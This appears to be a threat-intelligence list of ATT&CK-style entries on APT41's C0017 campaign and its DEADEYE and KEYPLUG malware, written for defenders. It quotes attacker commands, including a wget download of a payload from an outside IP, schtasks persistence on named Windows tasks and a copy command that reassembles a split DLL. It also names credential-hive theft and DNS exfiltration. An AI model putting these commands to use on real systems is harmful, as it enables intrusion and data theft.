Mandiant APT41

During C0017, APT41 frequently configured the URL endpoints of their stealthy passive backdoor LOWKEY.PASSIVE to masquerade as normal web application traffic on an infected server.

During C0017, APT41 copied the `SAM` and `SYSTEM` Registry hives for credential harvesting.

During C0017, APT41 collected information related to compromised machines as well as Personal Identifiable Information (PII) from victim networks.

During C0017, APT41 used `cmd.exe /c ping %userdomain%` for discovery.

DEADEYE can discover the DNS domain name of a targeted system.

During C0017, APT41 broke malicious binaries, including DEADEYE and KEYPLUG, into multiple sections on disk to evade detection.

During C0017, APT41 used VMProtect to slow the reverse engineering of malicious binaries.

The DEADEYE.EMBED variant of DEADEYE has the ability to embed payloads inside of a compiled binary.

DEADEYE has encrypted its payload.

KEYPLUG can use a hardcoded one-byte XOR encoded configuration file.

During C0017, APT41 used `whoami` to gather information from victim machines.

DEADEYE has used `schtasks /change` to modify scheduled tasks including `\Microsoft\Windows\PLA\Server Manager Performance Monitor`, `\Microsoft\Windows\Ras\ManagerMobility, \Microsoft\Windows\WDI\SrvSetupResults`, and `\Microsoft\Windows\WDI\USOShared`.

During C0017, APT41 used `SCHTASKS /Change` to modify legitimate scheduled tasks to run malicious code.

During C0017, APT41 used file names beginning with USERS, SYSUSER, and SYSLOG for DEADEYE, and changed KEYPLUG file extensions from .vmp to .upx likely to avoid hunting detections.

During C0017, APT41 used its Cloudflare services C2 channels for data exfiltration.

During C0017, APT41 exfiltrated victim data via DNS lookups by encoding and prepending it as subdomains to the attacker-controlled domain.

During C0017, APT41 used the following Windows scheduled tasks for DEADEYE dropper persistence on US state government networks: `\Microsoft\Windows\PLA\Server Manager Performance Monitor`, `\Microsoft\Windows\Ras\ManagerMobility`, `\Microsoft\Windows\WDI\SrvSetupResults`, and `\Microsoft\Windows\WDI\USOShared`.

During C0017, APT41 used `cmd.exe` to execute reconnaissance commands.

DEADEYE can run `cmd /c copy /y /b C:\Users\public\syslog_6-*.dat C:\Users\public\syslog.dll` to combine separated sections of code into a single DLL prior to execution.

During C0017, APT41 deployed JScript web shells on compromised systems.

dsquery can be used to gather information on permission groups within a domain.

KEYPLUG has the ability to communicate over HTTP and WebSocket Protocol (WSS) for C2.

During C0017, APT41 ran `wget http://103.224.80[.]44:8080/kernel` to download malicious payloads.

During C0017, APT41 copied the local `SAM` and `SYSTEM` Registry hives to a staging directory.

DEADEYE can enumerate a victim computer's volume serial number and host name.

dsquery has the ability to enumerate various information, such as the operating system and host name, for systems within a domain.

dsquery can be used to gather information on user accounts within a domain.

KEYPLUG has used Cloudflare CDN associated infrastructure to redirect C2 communications to malicious domains.

During C0017, APT41 used the Cloudflare CDN to proxy C2 traffic.

KEYPLUG can use TCP and KCP (KERN Communications Protocol) over UDP for C2 communication.

During C0017, APT41 used the Cloudflare services for C2 communications.

During C0017, APT41 used dead drop resolvers on two separate tech community forums for their KEYPLUG Windows-version backdoor; notably APT41 updated the community forum posts frequently with new dead drop resolvers during the campaign.

The KEYPLUG Windows variant has retrieved C2 addresses from encoded data in posts on tech community forums.

During C0017, APT41 downloaded malicious payloads onto compromised systems.

DEADEYE can execute the `GetComputerNameA` and `GetComputerNameExA` WinAPI functions.

KEYPLUG can obtain the current tick count of an infected computer.

During C0017, APT41 used a ConfuserEx obfuscated BADPOTATO exploit to abuse named-pipe impersonation for local `NT AUTHORITY\SYSTEM` privilege escalation.

During C0017, APT41 used the DUSTPAN loader to decrypt embedded payloads.

KEYPLUG can decode its configuration file to determine C2 protocols.

DEADEYE has the ability to combine multiple sections of a binary which were broken up to evade detection into a single .dll prior to execution.

During C0017, APT41 exploited CVE-2021-44207 in the USAHerds application and CVE-2021-44228 in Log4j, as well as other .NET deserialization, SQL injection, and directory traversal vulnerabilities to gain initial access.

DEADEYE can use `msiexec.exe` for execution of malicious DLL.

DEADEYE can use `rundll32.exe` for execution of living off the land binaries (lolbin) such as `SHELL32.DLL`.

DEADEYE can ensure it executes only on intended systems by identifying the victim's volume serial number, hostname, and/or DNS domain.

During C0017, APT41 deployed JScript web shells through the creation of malicious ViewState objects.

During C0017, APT41 hex-encoded PII data prior to exfiltration.

The DEADEYE.EMBED variant of DEADEYE can embed its payload in an alternate data stream of a local file.

During C0017, APT41 used Cloudflare services for data exfiltration.

KEYPLUG can use TLS-encrypted WebSocket Protocol (WSS) for C2.

During C0017, APT41 established persistence by loading malicious libraries via modifications to the Import Address Table (IAT) within legitimate Microsoft binaries.